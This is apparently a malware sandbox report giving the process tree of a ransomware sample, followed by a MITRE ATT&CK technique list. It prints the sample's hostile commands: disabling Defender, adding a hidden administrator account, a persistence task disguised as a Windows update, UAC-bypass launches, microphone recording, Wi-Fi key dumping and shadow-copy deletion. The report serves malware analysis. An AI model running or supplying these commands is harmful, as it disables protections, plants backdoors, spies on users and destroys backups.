                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                          PID:6024
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                            PID:5252
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2a5c8aa7-0200-4b67-8c58-46ad0418d89a.inf
                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                              PID:4716
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                PID:5676
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                    PID:5628
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                    PID:5716
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                        PID:6540
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                          PID:2600
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\62186efc-b347-477c-8619-3c7d1919e678.inf
                                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                                            PID:6304
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                              PID:6068
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                                                                  PID:6236
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                  PID:5444
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                                                                                      PID:6360
                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                        PID:7868
                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\cc2c86b4-ba15-4c75-b15d-57c501bee20a.inf
                                                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                                                          PID:7916
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                            PID:8072
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                                                PID:8164
                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                                                PID:8188
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                                                                                                    PID:7152
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                      PID:8956
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\424080ba-1f67-49a0-8ce6-205274289062.inf
                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                        PID:9096
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                                                          PID:8076
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                                                                                                              PID:8260
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                                                                                                              PID:8284
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe"
                                                                                                                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6740
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\diagon.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                                    PID:9128
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\86ad4347-59b5-433b-ae72-0bebac8c3cc1.inf
                                                                                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                                                                                      PID:10436
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                                                                                                                                        PID:10500
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                                                          15⤵
                                                                                                                                                                                                                                                                                                                                                            PID:2812
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                                                                                                                                            PID:11296
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                            "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                            14⤵
                                                                                                                                                                                                                                                                                                                                                            • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                            PID:11304
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                            "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                            14⤵
                                                                                                                                                                                                                                                                                                                                                            • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                            PID:1192
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                              PID:11560
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                            "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                            14⤵
                                                                                                                                                                                                                                                                                                                                                              PID:5800
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                          "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                          • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                          PID:8296
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                          "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                          • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                          PID:8920
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                                                                                                                            • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                            PID:9796
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                          "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                            PID:10188
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                                                                                                                                                                PID:11212
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                          "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                          • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                          PID:6768
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                          "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                          • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                          PID:6688
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                                                                                                                            • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                            PID:7844
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                          "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                            PID:8508
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                                                                                PID:8936
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                              "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                                                                                PID:11176
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                            "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                            • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                            PID:5928
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                            "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                            • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                            PID:6980
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                              PID:7664
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                            "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                              PID:7776
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:7268
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:8832
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                              "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                              • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                              PID:1448
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                              "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                              PID:6796
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                PID:6636
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                              "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                PID:7004
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:6880
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                  "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:8200
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                PID:5156
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                PID:5780
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                  PID:5260
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:5212
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6160
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                    "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:7756
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639224251775768903.wav')"
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                      PID:8656
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                                                                                                                                      "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                      • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                                                                                                                                      PID:10580
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\vssadmin.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                      • Interacts with shadow copies
                                                                                                                                                                                                                                                                                                                                                                      PID:11280
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:12240
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                    "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                    • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                    PID:4908
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                    "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                    • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                    PID:4520
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                      • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                      PID:5172
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                    "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:5900
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5912
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                        "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:6704
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                          "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639224251765299802.wav')"
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                          PID:9748
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                                                                                                                                          "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                          • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                                                                                                                                          PID:10096
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\vssadmin.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                          • Interacts with shadow copies
                                                                                                                                                                                                                                                                                                                                                                          PID:11012
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:10512
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\net.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\net.exe" stop srservice
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:11888

                                                                                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                Resource Development

                                                                                                                                                                                                                                                                                                                                                                                Initial Access

                                                                                                                                                                                                                                                                                                                                                                                Execution

                                                                                                                                                                                                                                                                                                                                                                                Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1059

                                                                                                                                                                                                                                                                                                                                                                                PowerShell

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1059.001

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053

                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1053.005

                                                                                                                                                                                                                                                                                                                                                                                Windows Management Instrumentation

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1047

                                                                                                                                                                                                                                                                                                                                                                                Persistence

                                                                                                                                                                                                                                                                                                                                                                                Account Manipulation

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1098

                                                                                                                                                                                                                                                                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1547

                                                                                                                                                                                                                                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                T1547.001

                                                                                                                                                                                                                                                                                                                                                                                Create Account

                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                T1136

